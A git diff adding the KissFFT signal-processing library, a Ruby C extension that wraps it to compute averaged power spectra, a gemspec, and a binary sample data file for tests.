kf_bfly_generic( + kiss_fft_cpx * Fout, + const size_t fstride, + const kiss_fft_cfg st, + int m, + int p + ) +{ + int u,k,q1,q; + kiss_fft_cpx * twiddles = st->twiddles; + kiss_fft_cpx t; + int Norig = st->nfft; + + kiss_fft_cpx * scratch = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC(sizeof(kiss_fft_cpx)*p); + + for ( u=0; u<m; ++u ) { + k=u; + for ( q1=0 ; q1<p ; ++q1 ) { + scratch[q1] = Fout[ k ]; + C_FIXDIV(scratch[q1],p); + k += m; + } + + k=u; + for ( q1=0 ; q1<p ; ++q1 ) { + int twidx=0; + Fout[ k ] = scratch[0]; + for (q=1;q<p;++q ) { + twidx += fstride * k; + if (twidx>=Norig) twidx-=Norig; + C_MUL(t,scratch[q] , twiddles[twidx] ); + C_ADDTO( Fout[ k ] ,t); + } + k += m; + } + } + KISS_FFT_TMP_FREE(scratch); +} + +static +void kf_work( + kiss_fft_cpx * Fout, + const kiss_fft_cpx * f, + const size_t fstride, + int in_stride, + int * factors, + const kiss_fft_cfg st + ) +{ + kiss_fft_cpx * Fout_beg=Fout; + const int p=*factors++; /* the radix */ + const int m=*factors++; /* stage's fft length/p */ + const kiss_fft_cpx * Fout_end = Fout + p*m; + +#ifdef _OPENMP + // use openmp extensions at the + // top-level (not recursive) + if (fstride==1 && p<=5) + { + int k; + + // execute the p different work units in different threads +# pragma omp parallel for + for (k=0;k<p;++k) + kf_work( Fout +k*m, f+ fstride*in_stride*k,fstride*p,in_stride,factors,st); + // all threads have joined by this point + + switch (p) { + case 2: kf_bfly2(Fout,fstride,st,m); break; + case 3: kf_bfly3(Fout,fstride,st,m); break; + case 4: kf_bfly4(Fout,fstride,st,m); break; + case 5: kf_bfly5(Fout,fstride,st,m); break; + default: kf_bfly_generic(Fout,fstride,st,m,p); break; + } + return; + } +#endif + + if (m==1) { + do{ + *Fout = *f; + f += fstride*in_stride; + }while(++Fout != Fout_end ); + }else{ + do{ + // recursive call: + // DFT of size m*p performed by doing + // p instances of smaller DFTs of size m, + // each one takes a decimated version of the input + kf_work( Fout , f, fstride*p, in_stride, factors,st); + f += fstride*in_stride; + }while( (Fout += m) != Fout_end ); + } + + Fout=Fout_beg; + + // recombine the p smaller DFTs + switch (p) { + case 2: kf_bfly2(Fout,fstride,st,m); break; + case 3: kf_bfly3(Fout,fstride,st,m); break; + case 4: kf_bfly4(Fout,fstride,st,m); break; + case 5: kf_bfly5(Fout,fstride,st,m); break; + default: kf_bfly_generic(Fout,fstride,st,m,p); break; + } +} + +/* facbuf is populated by p1,m1,p2,m2, ... + where + p[i] * m[i] = m[i-1] + m0 = n */ +static +void kf_factor(int n,int * facbuf) +{ + int p=4; + double floor_sqrt; + floor_sqrt = floor( sqrt((double)n) ); + + /*factor out powers of 4, powers of 2, then any remaining primes */ + do { + while (n % p) { + switch (p) { + case 4: p = 2; break; + case 2: p = 3; break; + default: p += 2; break; + } + if (p > floor_sqrt) + p = n; /* no more factors, skip to end */ + } + n /= p; + *facbuf++ = p; + *facbuf++ = n; + } while (n > 1); +} + +/* + * + * User-callable function to allocate all necessary storage space for the fft. + * + * The return value is a contiguous block of memory, allocated with malloc. As such, + * It can be freed with free(), rather than a kiss_fft-specific function. + * */ +kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem ) +{ + kiss_fft_cfg st=NULL; + size_t memneeded = sizeof(struct kiss_fft_state) + + sizeof(kiss_fft_cpx)*(nfft-1); /* twiddle factors*/ + + if ( lenmem==NULL ) { + st = ( kiss_fft_cfg)KISS_FFT_MALLOC( memneeded ); + }else{ + if (mem != NULL && *lenmem >= memneeded) + st = (kiss_fft_cfg)mem; + *lenmem = memneeded; + } + if (st) { + int i; + st->nfft=nfft; + st->inverse = inverse_fft; + + for (i=0;i<nfft;++i) { + const double pi=3.141592653589793238462643383279502884197169399375105820974944; + double phase = -2*pi*i / nfft; + if (st->inverse) + phase *= -1; + kf_cexp(st->twiddles+i, phase ); + } + + kf_factor(nfft,st->factors); + } + return st; +} + + +void kiss_fft_stride(kiss_fft_cfg st,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int in_stride) +{ + if (fin == fout) { + //NOTE: this is not really an in-place FFT algorithm. + //It just performs an out-of-place FFT into a temp buffer + kiss_fft_cpx * tmpbuf = (kiss_fft_cpx*)KISS_FFT_TMP_ALLOC( sizeof(kiss_fft_cpx)*st->nfft); + kf_work(tmpbuf,fin,1,in_stride, st->factors,st); + memcpy(fout,tmpbuf,sizeof(kiss_fft_cpx)*st->nfft); + KISS_FFT_TMP_FREE(tmpbuf); + }else{ + kf_work( fout, fin, 1,in_stride, st->factors,st ); + } +} + +void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout) +{ + kiss_fft_stride(cfg,fin,fout,1); +} + + +void kiss_fft_cleanup(void) +{ + // nothing needed any more +} + +int kiss_fft_next_fast_size(int n) +{ + while(1) { + int m=n; + while ( (m%2) == 0 ) m/=2; + while ( (m%3) == 0 ) m/=3; + while ( (m%5) == 0 ) m/=5; + if (m<=1) + break; /* n is completely factorable by twos, threes, and fives */ + n++; + } + return n; +} diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fft.h b/external/ruby-kissfft/ext/kissfft/kiss_fft.h new file mode 100644 index 0000000000..64c50f4aae --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/kiss_fft.h @@ -0,0 +1,124 @@ +#ifndef KISS_FFT_H +#define KISS_FFT_H + +#include <stdlib.h> +#include <stdio.h> +#include <math.h> +#include <string.h> + +#ifdef __cplusplus +extern "C" { +#endif + +/* + ATTENTION! + If you would like a : + -- a utility that will handle the caching of fft objects + -- real-only (no imaginary time component ) FFT + -- a multi-dimensional FFT + -- a command-line utility to perform ffts + -- a command-line utility to perform fast-convolution filtering + + Then see kfc.h kiss_fftr.h kiss_fftnd.h fftutil.c kiss_fastfir.c + in the tools/ directory. +*/ + +#ifdef USE_SIMD +# include <xmmintrin.h> +# define kiss_fft_scalar __m128 +#define KISS_FFT_MALLOC(nbytes) _mm_malloc(nbytes,16) +#define KISS_FFT_FREE _mm_free +#else +#define KISS_FFT_MALLOC malloc +#define KISS_FFT_FREE free +#endif + + +#ifdef FIXED_POINT +#include <sys/types.h> +# if (FIXED_POINT == 32) +# define kiss_fft_scalar int32_t +# else +# define kiss_fft_scalar int16_t +# endif +#else +# ifndef kiss_fft_scalar +/* default is float */ +# define kiss_fft_scalar float +# endif +#endif + +typedef struct { + kiss_fft_scalar r; + kiss_fft_scalar i; +}kiss_fft_cpx; + +typedef struct kiss_fft_state* kiss_fft_cfg; + +/* + * kiss_fft_alloc + * + * Initialize a FFT (or IFFT) algorithm's cfg/state buffer. + * + * typical usage: kiss_fft_cfg mycfg=kiss_fft_alloc(1024,0,NULL,NULL); + * + * The return value from fft_alloc is a cfg buffer used internally + * by the fft routine or NULL. + * + * If lenmem is NULL, then kiss_fft_alloc will allocate a cfg buffer using malloc. + * The returned value should be free()d when done to avoid memory leaks. + * + * The state can be placed in a user supplied buffer 'mem': + * If lenmem is not NULL and mem is not NULL and *lenmem is large enough, + * then the function places the cfg in mem and the size used in *lenmem + * and returns mem. + * + * If lenmem is not NULL and ( mem is NULL or *lenmem is not large enough), + * then the function returns NULL and places the minimum cfg + * buffer size in *lenmem. + * */ + +kiss_fft_cfg kiss_fft_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem); + +/* + * kiss_fft(cfg,in_out_buf) + * + * Perform an FFT on a complex input buffer. + * for a forward FFT, + * fin should be f[0] , f[1] , ... ,f[nfft-1] + * fout will be F[0] , F[1] , ... ,F[nfft-1] + * Note that each element is complex and can be accessed like + f[k].r and f[k].i + * */ +void kiss_fft(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout); + +/* + A more generic version of the above function. It reads its input from every Nth sample. + * */ +void kiss_fft_stride(kiss_fft_cfg cfg,const kiss_fft_cpx *fin,kiss_fft_cpx *fout,int fin_stride); + +/* If kiss_fft_alloc allocated a buffer, it is one contiguous + buffer and can be simply free()d when no longer needed*/ +#define kiss_fft_free free + +/* + Cleans up some memory that gets managed internally. Not necessary to call, but it might clean up + your compiler output to call this before you exit. +*/ +void kiss_fft_cleanup(void); + + +/* + * Returns the smallest integer k, such that k>=n and k has only "fast" factors (2,3,5) + */ +int kiss_fft_next_fast_size(int n); + +/* for real ffts, we need an even size */ +#define kiss_fftr_next_fast_size_real(n) \ + (kiss_fft_next_fast_size( ((n)+1)>>1)<<1) + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fftr.c b/external/ruby-kissfft/ext/kissfft/kiss_fftr.c new file mode 100644 index 0000000000..b8e238b1e2 --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/kiss_fftr.c @@ -0,0 +1,159 @@ +/* +Copyright (c) 2003-2004, Mark Borgerding + +All rights reserved. + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + + * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + * Neither the author nor the names of any contributors may be used to endorse or promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +*/ + +#include "kiss_fftr.h" +#include "_kiss_fft_guts.h" + +struct kiss_fftr_state{ + kiss_fft_cfg substate; + kiss_fft_cpx * tmpbuf; + kiss_fft_cpx * super_twiddles; +#ifdef USE_SIMD + void * pad; +#endif +}; + +kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem,size_t * lenmem) +{ + int i; + kiss_fftr_cfg st = NULL; + size_t subsize, memneeded; + + if (nfft & 1) { + fprintf(stderr,"Real FFT optimization must be even.\n"); + return NULL; + } + nfft >>= 1; + + kiss_fft_alloc (nfft, inverse_fft, NULL, &subsize); + memneeded = sizeof(struct kiss_fftr_state) + subsize + sizeof(kiss_fft_cpx) * ( nfft * 3 / 2); + + if (lenmem == NULL) { + st = (kiss_fftr_cfg) KISS_FFT_MALLOC (memneeded); + } else { + if (*lenmem >= memneeded) + st = (kiss_fftr_cfg) mem; + *lenmem = memneeded; + } + if (!st) + return NULL; + + st->substate = (kiss_fft_cfg) (st + 1); /*just beyond kiss_fftr_state struct */ + st->tmpbuf = (kiss_fft_cpx *) (((char *) st->substate) + subsize); + st->super_twiddles = st->tmpbuf + nfft; + kiss_fft_alloc(nfft, inverse_fft, st->substate, &subsize); + + for (i = 0; i < nfft/2; ++i) { + double phase = + -3.14159265358979323846264338327 * ((double) (i+1) / nfft + .5); + if (inverse_fft) + phase *= -1; + kf_cexp (st->super_twiddles+i,phase); + } + return st; +} + +void kiss_fftr(kiss_fftr_cfg st,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata) +{ + /* input buffer timedata is stored row-wise */ + int k,ncfft; + kiss_fft_cpx fpnk,fpk,f1k,f2k,tw,tdc; + + if ( st->substate->inverse) { + fprintf(stderr,"kiss fft usage error: improper alloc\n"); + exit(1); + } + + ncfft = st->substate->nfft; + + /*perform the parallel fft of two real signals packed in real,imag*/ + kiss_fft( st->substate , (const kiss_fft_cpx*)timedata, st->tmpbuf ); + /* The real part of the DC element of the frequency spectrum in st->tmpbuf + * contains the sum of the even-numbered elements of the input time sequence + * The imag part is the sum of the odd-numbered elements + * + * The sum of tdc.r and tdc.i is the sum of the input time sequence. + * yielding DC of input time sequence + * The difference of tdc.r - tdc.i is the sum of the input (dot product) [1,-1,1,-1... + * yielding Nyquist bin of input time sequence + */ + + tdc.r = st->tmpbuf[0].r; + tdc.i = st->tmpbuf[0].i; + C_FIXDIV(tdc,2); + CHECK_OVERFLOW_OP(tdc.r ,+, tdc.i); + CHECK_OVERFLOW_OP(tdc.r ,-, tdc.i); + freqdata[0].r = tdc.r + tdc.i; + freqdata[ncfft].r = tdc.r - tdc.i; +#ifdef USE_SIMD + freqdata[ncfft].i = freqdata[0].i = _mm_set1_ps(0); +#else + freqdata[ncfft].i = freqdata[0].i = 0; +#endif + + for ( k=1;k <= ncfft/2 ; ++k ) { + fpk = st->tmpbuf[k]; + fpnk.r = st->tmpbuf[ncfft-k].r; + fpnk.i = - st->tmpbuf[ncfft-k].i; + C_FIXDIV(fpk,2); + C_FIXDIV(fpnk,2); + + C_ADD( f1k, fpk , fpnk ); + C_SUB( f2k, fpk , fpnk ); + C_MUL( tw , f2k , st->super_twiddles[k-1]); + + freqdata[k].r = HALF_OF(f1k.r + tw.r); + freqdata[k].i = HALF_OF(f1k.i + tw.i); + freqdata[ncfft-k].r = HALF_OF(f1k.r - tw.r); + freqdata[ncfft-k].i = HALF_OF(tw.i - f1k.i); + } +} + +void kiss_fftri(kiss_fftr_cfg st,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata) +{ + /* input buffer timedata is stored row-wise */ + int k, ncfft; + + if (st->substate->inverse == 0) { + fprintf (stderr, "kiss fft usage error: improper alloc\n"); + exit (1); + } + + ncfft = st->substate->nfft; + + st->tmpbuf[0].r = freqdata[0].r + freqdata[ncfft].r; + st->tmpbuf[0].i = freqdata[0].r - freqdata[ncfft].r; + C_FIXDIV(st->tmpbuf[0],2); + + for (k = 1; k <= ncfft / 2; ++k) { + kiss_fft_cpx fk, fnkc, fek, fok, tmp; + fk = freqdata[k]; + fnkc.r = freqdata[ncfft - k].r; + fnkc.i = -freqdata[ncfft - k].i; + C_FIXDIV( fk , 2 ); + C_FIXDIV( fnkc , 2 ); + + C_ADD (fek, fk, fnkc); + C_SUB (tmp, fk, fnkc); + C_MUL (fok, tmp, st->super_twiddles[k-1]); + C_ADD (st->tmpbuf[k], fek, fok); + C_SUB (st->tmpbuf[ncfft - k], fek, fok); +#ifdef USE_SIMD + st->tmpbuf[ncfft - k].i *= _mm_set1_ps(-1.0); +#else + st->tmpbuf[ncfft - k].i *= -1; +#endif + } + kiss_fft (st->substate, st->tmpbuf, (kiss_fft_cpx *) timedata); +} diff --git a/external/ruby-kissfft/ext/kissfft/kiss_fftr.h b/external/ruby-kissfft/ext/kissfft/kiss_fftr.h new file mode 100644 index 0000000000..72e5a57714 --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/kiss_fftr.h @@ -0,0 +1,46 @@ +#ifndef KISS_FTR_H +#define KISS_FTR_H + +#include "kiss_fft.h" +#ifdef __cplusplus +extern "C" { +#endif + + +/* + + Real optimized version can save about 45% cpu time vs. complex fft of a real seq. + + + + */ + +typedef struct kiss_fftr_state *kiss_fftr_cfg; + + +kiss_fftr_cfg kiss_fftr_alloc(int nfft,int inverse_fft,void * mem, size_t * lenmem); +/* + nfft must be even + + If you don't care to allocate space, use mem = lenmem = NULL +*/ + + +void kiss_fftr(kiss_fftr_cfg cfg,const kiss_fft_scalar *timedata,kiss_fft_cpx *freqdata); +/* + input timedata has nfft scalar points + output freqdata has nfft/2+1 complex points +*/ + +void kiss_fftri(kiss_fftr_cfg cfg,const kiss_fft_cpx *freqdata,kiss_fft_scalar *timedata); +/* + input freqdata has nfft/2+1 complex points + output timedata has nfft scalar points +*/ + +#define kiss_fftr_free free + +#ifdef __cplusplus +} +#endif +#endif diff --git a/external/ruby-kissfft/ext/kissfft/main.c b/external/ruby-kissfft/ext/kissfft/main.c new file mode 100644 index 0000000000..13c0a94f1b --- /dev/null +++ b/external/ruby-kissfft/ext/kissfft/main.c @@ -0,0 +1,155 @@ +/* + ruby-kissfft: a simple ruby module embedding the Kiss FFT library + Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com> + + Derived from "psdpng.c" from the KissFFT tools directory + Copyright (C) 2003-2006 Mark Borgerding +*/ + +#include "ruby.h" + + +#include <stdlib.h> +#include <math.h> +#include <stdio.h> +#include <string.h> +#include <unistd.h> + +#include "kiss_fft.h" +#include "kiss_fftr.h" + +static VALUE rb_cKissFFT; + +#define KISS_VERSION "1.2.8-1.0" + + +static VALUE +rbkiss_s_version(VALUE class) +{ + return rb_str_new2(KISS_VERSION); +} + +#define CHECKNULL(p) if ( (p)==NULL ) do { fprintf(stderr,"CHECKNULL failed @ %s(%d): %s\n",__FILE__,__LINE__,#p );exit(1);} while(0) + +static VALUE +rbkiss_s_fftr(VALUE class, VALUE r_nfft, VALUE r_rate, VALUE r_buckets, VALUE r_data) +{ + kiss_fftr_cfg cfg=NULL; + kiss_fft_scalar *tbuf; + kiss_fft_cpx *fbuf; + float *mag2buf; + int i; + int avgctr=0; + int nrows=0; + + int nfft; + int rate; + int navg; + int nfreqs; + + int inp_len; + int inp_idx; + + // Result set + VALUE res; + VALUE tmp; + VALUE set; + res = rb_ary_new(); + + if(TYPE(r_nfft) != T_FIXNUM) { + return Qnil; + } + nfft=NUM2INT(r_nfft); + + if(TYPE(r_rate) != T_FIXNUM) { + return Qnil; + } + rate=NUM2INT(r_rate); + + if(TYPE(r_buckets) != T_FIXNUM) { + return Qnil; + } + navg=NUM2INT(r_buckets); + + if(TYPE(r_data) != T_ARRAY) { + return Qnil; + } + + if(RARRAY_LEN(r_data) == 0) { + return Qnil; + } + + if(TYPE(RARRAY_PTR(r_data)[0]) != T_FIXNUM ) { + return Qnil; + } + + nfreqs=nfft/2+1; + + CHECKNULL( cfg=kiss_fftr_alloc(nfft,0,0,0) ); + CHECKNULL( tbuf=(kiss_fft_scalar*)malloc(sizeof(kiss_fft_scalar)*(nfft + 2) ) ); + CHECKNULL( fbuf=(kiss_fft_cpx*)malloc(sizeof(kiss_fft_cpx)*(nfft + 2)) ); + CHECKNULL( mag2buf=(float*)malloc(sizeof(float)*(nfft + 2) )); + + memset(mag2buf,0,sizeof(mag2buf)*nfreqs); + + inp_len = RARRAY_LEN(r_data); + inp_idx = 0; + + while(inp_idx < inp_len) { + + // Fill tbuf with nfft samples + for(i=0;i<nfft;i++) { + if(inp_idx + i >= inp_len) { + tbuf[i] = 0; + } else { + if(TYPE(RARRAY_PTR(r_data)[ inp_idx + i ]) != T_FIXNUM) { + tbuf[i] = 0; + } else { + tbuf[i] = NUM2INT( RARRAY_PTR(r_data)[ inp_idx + i ] ); + } + } + } + + + /* do FFT */ + kiss_fftr(cfg,tbuf,fbuf); + + for (i=0;i<nfreqs;++i) { + mag2buf[i] += fbuf[i].r * fbuf[i].r + fbuf[i].i * fbuf[i].i; + } + + if (++avgctr == navg) { + float eps = 1; + avgctr=0; + ++nrows; + + // RESULTS + set = rb_ary_new(); + for (i=0;i<nfreqs;++i) { + float pwr = 10 * log10( mag2buf[i] / navg + eps ); + tmp = rb_ary_new(); + rb_ary_push(tmp, rb_float_new( (float)i * ( ( (float)rate / 2) / (float)nfreqs) )); + rb_ary_push(tmp, rb_float_new( pwr)); + rb_ary_push(set, tmp); + } + rb_ary_push(res, set); + memset(mag2buf,0,sizeof(mag2buf[0])*nfreqs); + } + inp_idx += nfft; + } + + free(cfg); + free(tbuf); + free(fbuf); + free(mag2buf); + return(res); +} + +void +Init_kissfft() +{ + // KissFFT + rb_cKissFFT = rb_define_class("KissFFT", rb_cObject); + rb_define_module_function(rb_cKissFFT, "version", rbkiss_s_version, 0); + rb_define_module_function(rb_cKissFFT, "fftr", rbkiss_s_fftr, 4); +} diff --git a/external/ruby-kissfft/kissfft.gemspec b/external/ruby-kissfft/kissfft.gemspec new file mode 100644 index 0000000000..6596f704c1 --- /dev/null +++ b/external/ruby-kissfft/kissfft.gemspec @@ -0,0 +1,16 @@ +# -*- encoding: utf-8 -*- + +Gem::Specification.new do |s| + s.name = "kissfft" + s.version = "0.0.1" + s.authors = ["HD Moore"] + s.email = ["hdm@rapid7.com"] + s.homepage = "" + s.summary = %q{Ruby wrapper around the KisFFT library for performing FFTs} + s.description = %q{Provides access to the KissFFT library for performing fast-fourier transforms from Ruby } + + s.files = Dir.glob('lib/**/*.rb') + Dir.glob('ext/**/*.{c,h,rb}') + [ "LICENSE" ] + s.test_files = Dir.glob('test/**/*.{rb,data}') + s.extensions = [ 'ext/kissfft/extconf.rb' ] + s.require_paths = ["lib"] +end diff --git a/external/ruby-kissfft/tests/sample.data b/external/ruby-kissfft/tests/sample.data new file mode 100644 index 0000000000000000000000000000000000000000..da7c9b2b2ce4ec4f6c4a945685d5d422ef043375 GIT binary patch literal 129440 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 